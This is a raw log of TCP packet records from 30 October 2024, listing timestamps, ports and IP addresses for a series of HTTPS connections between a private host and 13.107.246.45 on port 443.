Oct 30, 2024 06:17:13.822633028 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.822745085 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.822846889 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.822860003 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.837157965 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.837311029 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.837366104 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.837400913 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.837409973 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.837419987 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.837424040 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.839487076 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.839504004 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.839618921 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.839843035 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.839860916 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.853612900 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.853756905 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.853806019 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.853838921 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.853857040 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.853866100 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.853872061 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.856112957 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.856122971 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.856175900 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.856312037 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.856321096 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.948781967 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.949328899 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.949338913 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.949812889 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.949817896 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.077621937 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.077693939 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.077775955 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.077996016 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.078018904 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.078030109 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.078036070 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.080894947 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.080916882 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.081054926 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.081163883 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.081176043 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.576914072 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.577469110 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.577486992 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.577918053 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.577923059 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.588654995 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.589143991 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.589152098 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.589471102 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.589474916 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.592900991 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.593245983 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.593269110 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.593646049 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.593650103 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.595931053 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.596184969 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.596193075 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.596559048 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.596563101 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.706657887 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.706878901 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.706932068 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.707005024 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.707005024 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.707020998 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.707035065 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.709947109 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.709978104 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.710048914 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.710201025 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.710211039 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.722819090 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.722881079 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.722935915 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.723067045 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.723076105 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.723079920 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.723083973 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.724515915 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.725403070 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.725451946 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.725472927 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.725516081 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.725550890 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.725550890 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.725572109 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.725580931 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.725599051 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.725634098 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.725641012 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.725696087 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.725740910 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.725776911 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.725811958 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.725824118 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.725824118 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.725831032 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.725837946 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.725867033 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.726363897 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.726381063 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.727998972 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.728002071 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.728014946 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.728037119 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.728080988 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.728182077 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.728193998 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.728218079 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.728288889 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.728303909 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.821966887 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.825790882 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.825803041 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.826224089 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.826237917 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.954384089 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.954457045 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.954530954 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.954757929 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.954757929 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.954772949 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.954782009 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.957636118 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.957679987 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:14.957762957 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.958115101 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:14.958131075 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.432799101 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.433368921 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.433392048 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.433860064 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.433864117 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.445624113 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.446037054 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.446055889 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.446393967 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.446403027 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.459613085 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.460009098 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.460026026 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.460416079 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.460422039 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.487961054 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.488332987 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.488359928 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.488771915 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.488779068 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.560849905 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.561019897 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.561064959 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.561310053 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.561323881 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.561332941 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.561338902 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.566798925 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.566888094 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.566966057 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.567107916 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.567142963 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.574840069 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.574868917 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.574903965 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.574918032 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.574933052 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.574975967 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.575099945 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.575112104 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.578475952 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.578562975 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.578636885 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.579282045 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.579330921 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.590348005 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.590497017 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.590540886 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.590769053 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.590786934 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.590800047 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.590806007 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.593660116 CET	49866	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.593700886 CET	443	49866	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.593769073 CET	49866	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.593904018 CET	49866	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.593923092 CET	443	49866	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.619489908 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.619611979 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.619664907 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.619755030 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.619770050 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.619780064 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.619786024 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.622114897 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.622181892 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.622277975 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.622442961 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.622476101 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.680897951 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.681560993 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.681577921 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.682039976 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.682046890 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.810383081 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.810453892 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.810514927 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.810760021 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.810776949 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.810789108 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.810795069 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.813968897 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.814002991 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:15.814099073 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.814234018 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:15.814246893 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.313596010 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.314327002 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.314405918 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.314888000 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.314908028 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.318521976 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.318811893 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.318872929 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.319125891 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.319140911 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.330995083 CET	443	49866	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.331278086 CET	49866	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.331309080 CET	443	49866	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.331589937 CET	49866	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.331605911 CET	443	49866	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.363683939 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.364034891 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.364068985 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.364402056 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.364414930 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.443984032 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.444008112 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.444045067 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.444097042 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.444156885 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.444397926 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.444437027 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.444464922 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.444483042 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.447596073 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.447647095 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.447724104 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.447887897 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.447906017 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.450197935 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.450333118 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.450396061 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.450459003 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.450459957 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.450510979 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.450535059 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.452404976 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.452433109 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.452490091 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.452599049 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.452613115 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.460019112 CET	443	49866	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.460150957 CET	443	49866	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.460208893 CET	49866	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.460257053 CET	49866	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.460278034 CET	443	49866	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.460300922 CET	49866	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.460335016 CET	443	49866	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.462249041 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.462281942 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.462362051 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.462483883 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.462498903 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.496174097 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.496196985 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.496232986 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.496253014 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.496288061 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.496426105 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.496449947 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.496484041 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.496495962 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.498502016 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.498545885 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.498615980 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.498723030 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.498769045 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.560498953 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.561115980 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.561135054 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.561572075 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.561578035 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.697146893 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.697232008 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.697283030 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.697491884 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.697505951 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.697530031 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.697536945 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.700573921 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.700655937 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:16.700737953 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.700884104 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:16.700916052 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.168109894 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.168798923 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.168827057 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.169265985 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.169275045 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.191802979 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.192313910 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.192328930 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.192740917 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.192748070 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.201184034 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.201455116 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.201464891 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.201802969 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.201808929 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.243650913 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.244066000 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.244100094 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.244513035 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.244529963 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.297065020 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.297127008 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.297173023 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.297385931 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.297403097 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.297416925 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.297425032 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.304034948 CET	49874	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.304080963 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.304148912 CET	49874	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.307693005 CET	49874	443	192.168.2.4	13.107.246.45
